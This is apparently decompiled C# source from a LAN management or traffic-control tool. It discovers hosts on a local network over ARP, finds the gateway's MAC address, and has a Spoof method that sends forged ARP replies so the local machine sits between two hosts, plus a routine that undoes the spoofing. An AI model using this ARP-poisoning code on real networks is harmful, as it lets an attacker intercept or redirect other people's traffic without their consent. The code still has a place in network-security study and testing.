public void NicIsSelected(NetworkInterface nic) { pcs = new PcList(); pcs.SetCallBackOnNewPC(CallbackOnNewPC); pcs.SetCallBackOnPCRemove(callbackOnPCRemove); nicNet = nic; /* modopt(System.Runtime.CompilerServices.IsConst) */ CArp cArp = new CArp(nic, this.pcs); this.cArp = cArp; cArp.startArpListener(); this.cArp.findMacRouter(); PC pC = new PC() { ip = new IPAddress(this.cArp.localIP), mac = new PhysicalAddress(this.cArp.localMAC), CapDown = 0, CapUp = 0, isLocalPc = true, name = "", nbPacketReceivedSinceLastReset = 0, nbPacketSentSinceLastReset = 0, redirect = false, timeSinceLastRarp = DateTime.Now, totalPacketReceived = 0, totalPacketSent = 0, isGateway = false }; this.pcs.addPcToList(pC); this.timer2.Interval = 5000; this.timer2.Start(); this.treeGridView1.Nodes[0].Expand(); cArp.startArpDiscovery(); }
public CArp(NetworkInterface networkInterface, PcList pclist) { pcList = pclist; this.networkInterface = networkInterface; int num = 0; if (0 < networkInterface.GetIPProperties().UnicastAddresses.Count) { do { if (!Convert.ToString(this.networkInterface.GetIPProperties().UnicastAddresses[num].Address.AddressFamily).EndsWith("V6")) { CArp addressBytes = this; addressBytes.localIP = addressBytes.networkInterface.GetIPProperties().UnicastAddresses[num].Address.GetAddressBytes(); CArp cArp = this; cArp.netmask = cArp.networkInterface.GetIPProperties().UnicastAddresses[num].IPv4Mask.GetAddressBytes(); } num++; }while (num < this.networkInterface.GetIPProperties().UnicastAddresses.Count); } CArp addressBytes1 = this; addressBytes1.localMAC = addressBytes1.networkInterface.GetPhysicalAddress().GetAddressBytes(); if (this.networkInterface.GetIPProperties().GatewayAddresses.Count > 0) { CArp cArp1 = this; cArp1.routerIP = cArp1.networkInterface.GetIPProperties().GatewayAddresses[0].Address.GetAddressBytes(); } byte[] numArray = new byte[6]; broadcastMac = numArray; int num1 = 0; do { numArray[num1] = 255; num1++; }while (num1 < 6); pcaparp = new CPcapNet(); pcapredirect = new CPcapNet(); //arpListenerThreadTerminated = new EventWaitHandle(false, EventResetMode.AutoReset); //redirectorThreadTerminated = new EventWaitHandle(false, EventResetMode.AutoReset); //discovererThreadTerminated = new EventWaitHandle(false, EventResetMode.AutoReset); isListeningArp = false; isDiscovering = false; isRedirecting = false; }
public void Spoof(IPAddress ip1, IPAddress ip2) { PC pCFromIP = pcList.getPCFromIP(ip1.GetAddressBytes()); PC pC = pcList.getPCFromIP(ip2.GetAddressBytes()); if (pCFromIP != null && pC != null) { byte[] numArray = localMAC; pcaparp.pcapnet_sendpacket(buildArpPacket(pCFromIP.mac.GetAddressBytes(), numArray, 2, numArray, pC.ip.GetAddressBytes(), pCFromIP.mac.GetAddressBytes(), pCFromIP.ip.GetAddressBytes())); byte[] numArray1 = localMAC; pcaparp.pcapnet_sendpacket(buildArpPacket(pC.mac.GetAddressBytes(), numArray1, 2, numArray1, pCFromIP.ip.GetAddressBytes(), pC.mac.GetAddressBytes(), pC.ip.GetAddressBytes())); CArp cArp = this; pcaparp.pcapnet_sendpacket(cArp.buildArpPacket(cArp.localMAC, pC.mac.GetAddressBytes(), 2, pC.mac.GetAddressBytes(), pC.ip.GetAddressBytes(), localMAC, localIP)); byte[] numArray2 = localMAC; pcaparp.pcapnet_sendpacket(buildArpPacket(numArray2, numArray2, 2, pCFromIP.mac.GetAddressBytes(), pCFromIP.ip.GetAddressBytes(), localMAC, localIP)); } }
public void completeUnspoof() { PC router = pcList.getRouter(); if (router != null) { int num = 0; if (0 < pcList.pclist.Count) { do { CArp cArp = this; cArp.UnSpoof(((PC)cArp.pcList.pclist[num]).ip, router.ip); num++; }while (num < pcList.pclist.Count); } } }
public void findMacRouter() { CArp cArp = this; cArp.FindMac((new IPAddress(cArp.routerIP)).ToString()); }